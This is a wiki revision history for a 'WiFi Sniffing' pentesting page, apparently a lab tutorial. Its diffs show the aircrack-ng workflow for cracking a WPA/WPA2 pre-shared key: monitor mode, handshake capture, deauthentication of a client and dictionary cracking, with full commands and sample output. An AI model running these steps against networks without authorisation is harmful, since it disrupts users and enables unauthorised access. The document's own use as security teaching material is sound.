WiFi Sniffing - Revision history

Ikramer at 17:45, 12 March 2024

2024-03-12T17:45:33Z

← Older revision		Revision as of 17:45, 12 March 2024
Line 216:		Line 216:
	* https://www.aircrack-ng.org/doku.php?id=cracking_wpa		* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
	[[Category:Documentation]]		[[Category:Documentation]]
			[[Category:Pentesting]]

MMehlfuehrer: /* Description */

2021-12-19T07:53:02Z

Description

← Older revision		Revision as of 07:53, 19 December 2021
Line 34:		Line 34:
	=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===		=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

	To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When ~~listenting~~ to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. ~~Additionaly~~ one can deauthenticate wireless clients, explained in a later step.		To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listening to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionally, one can deauthenticate wireless clients, explained in a later step.



	Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial		Depending on the driver used by the card, different methods need to be used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

	Open a terminal and type :		Open a terminal and type :
Line 44:		Line 44:
	airmon-ng		airmon-ng

	to determine the driver your card is using. The ~~ouput~~ with a wireless card from Atheros is the following:		to determine the driver your card is using. The output with a wireless card from Atheros is the following:

	PHY Interface Driver Chipset		PHY Interface Driver Chipset
	phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n		phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

	The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we ~~dont~~ know the used channel from the AP we only start the monitoring mode without a specific channel:		The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we don't know the used channel from the AP we only start the monitoring mode without a specific channel:

	airmon-ng start wlan0		airmon-ng start wlan0

	~~Ouput~~:		Output:

	Found 2 processes that could cause trouble.		Found 2 processes that could cause trouble.
Line 66:		Line 66:
	(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)		(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

	Now we can check if the interface is in ~~monitormode~~ using iwconfig:		Now we can check if the interface is in monitor mode using iwconfig:

	iwconfig		iwconfig
Line 80:		Line 80:
	airodump-ng wlan0mon		airodump-ng wlan0mon

	The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used		The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher, and authentication methods used

	CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40		CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
Line 94:		Line 94:
	airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon		airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

	~~Ouput~~:		Output:

	CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38 4-Way Handshake CAPTURED		CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38 4-Way Handshake CAPTURED
Line 104:		Line 104:

	Note:		Note:
	In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#		In the top right corner, it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured it says: [WPA handshake: 68:02:B8:1F:A1:3A.#

	Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.		Now the tool starts collecting every packet from this AP. It can take quite a while until a 4-way handshake is made. Step 3 helps to speed things up.

	=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===		=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

	A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network ~~manualy~~. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.		A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manually. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to a WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.
	Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>.		Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>.
	It is important to state, that while a client is deauthenticated the tool used in Step 2 still ~~needes~~ to be running to capture the packets!		It is important to state, that while a client is deauthenticated the tool used in Step 2 still needs to be running to capture the packets!

	aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon		aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon
Line 132:		Line 132:
	=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===		=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===

	In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).		In this step, the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2: -w CapturedData).
	One can use a dictionary which comes with aircrack-ng called "password.lst"~~. But for the sake of this tutorial i opened a file and wrote the password of the AP in it~~. Using the command:		One can use a dictionary which comes with aircrack-ng called "password.lst". Using the command:

	aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap		aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap
Line 141:		Line 141:
	The wildcard at the end of CapturedData is because aircrack-ng created multiple files		The wildcard at the end of CapturedData is because aircrack-ng created multiple files

	The ~~ouput~~ looks as follows:		The output looks as follows:

	[00:00:00] 2 keys tested (36.20 k/s)		[00:00:00] 2 keys tested (36.20 k/s)

MMehlfuehrer: /* Summary */

2021-12-19T07:48:04Z

Summary

← Older revision		Revision as of 07:48, 19 December 2021
Line 2:		Line 2:

	Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).		Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
	WPA/WPA2 uses various types ~~for~~ authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng can be used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used ~~dictionary~~ for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.		WPA/WPA2 uses various types of authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng can be used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the dictionary used for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
	For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.		For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP when a client tries to connect to the network.

	== Requirements ==		== Requirements ==

MMehlfuehrer: /* Summary */

2021-12-19T07:41:43Z

Summary

← Older revision		Revision as of 07:41, 19 December 2021
Line 2:		Line 2:

	Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).		Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
	WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.		WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng can be used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
	For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.		For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.

MMehlfuehrer: /* Description */

2021-12-17T12:32:00Z

Description

← Older revision		Revision as of 12:32, 17 December 2021
Line 155:		Line 155:

	---------------------------------------------------------------		---------------------------------------------------------------
	~~Display your wireless interfaces:~~

	~~iwconfig~~

	~~Connect the external Wi-Fi adapter to your host computer.~~

	~~iwconfig~~

	~~The newly added interface in the list is the external adapter. In my case it was 'wlan1'. In the following steps I refer to the external adapter as 'wlan1'.~~

	~~Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):~~

	~~airmon-ng start wlan1~~

	~~The previous command creates a new interface called 'wlan1mon'. Verify with:~~

	~~iwconfig~~

	~~Display active Wi-Fi networks:~~

	~~airodump-ng wlan1mon~~

	~~Remember the channel of the network you want to attack. In my case it was channel 11.~~

	~~Set your adapter to the appropriate channel:~~

	~~iwconfig wlan1mon channel 11~~

	~~Verify the frequency:~~

	~~iwconfig wlan1mon~~
	~~iwlist channel~~

	~~Start capturing data:~~

	~~airodump-ng --channel 11 -w alfa wlan1mon~~

	Filter URLs from captured traffic:		Filter URLs from captured traffic:

MMehlfuehrer: /* Step 4 - Use aircrack-ng to crack the key using the collected handshake */

2021-12-17T12:22:39Z

Step 4 - Use aircrack-ng to crack the key using the collected handshake

← Older revision		Revision as of 12:22, 17 December 2021
Line 142:		Line 142:

	The ouput looks as follows:		The ouput looks as follows:

	~~Aircrack-ng 0.8~~

			[00:00:00] 2 keys tested (36.20 k/s)
	[00:00:00] 2 keys tested (37.20 k/s)

MMehlfuehrer: /* Prerequisites */

2021-12-17T12:19:07Z

Prerequisites

← Older revision		Revision as of 12:19, 17 December 2021
Line 14:		Line 14:

	The following information of the hardware used is needed:		The following information of the hardware used is needed:
	*MAC of PC running the attack:		*MAC of a wireless client in the network: 34:B2:0A:7D:17:77
	*MAC of a wireless client in the network:		*BSSID: 68:02:B8:1F:A1:3A
	*BSSID:		*ESSID: WLAN18250073
	*ESSID:
	*Channel used by AP: 11		*Channel used by AP: 11
	*Wireless interface: wlan0mon		*Wireless interface: wlan0mon

MMehlfuehrer: /* Prerequisites */

2021-12-17T12:17:08Z

Prerequisites

← Older revision		Revision as of 12:17, 17 December 2021
Line 17:		Line 17:
	*MAC of a wireless client in the network:		*MAC of a wireless client in the network:
	*BSSID:		*BSSID:
	*ESSID:		*ESSID:
	*Channel used by AP:		*Channel used by AP: 11
	*Wireless interface:		*Wireless interface: wlan0mon

	== Description ==		== Description ==

MMehlfuehrer: /* Step 4 - Use aircrack-ng to crack the key using the collected handshake */

2021-12-17T12:16:30Z

Step 4 - Use aircrack-ng to crack the key using the collected handshake

← Older revision		Revision as of 12:16, 17 December 2021
Line 150:		Line 150:


	KEY FOUND! [ ~~12345678~~ ]		KEY FOUND! [ AKITs1!]


	Master Key : ~~CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E~~		Master Key : <Master Key>
	~~B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD~~

	Transcient Key : ~~06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98~~		Transcient Key : <Transcient Key>
	~~CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40~~
	~~FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E~~
	~~2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71~~

	---------------------------------------------------------------		---------------------------------------------------------------

MMehlfuehrer: /* Description */

2021-12-17T12:14:24Z

Description

@@ Line 144: / Line 144: @@
 The ouput looks as follows:
+            Aircrack-ng 0.8
 ---------------------------------------------------------------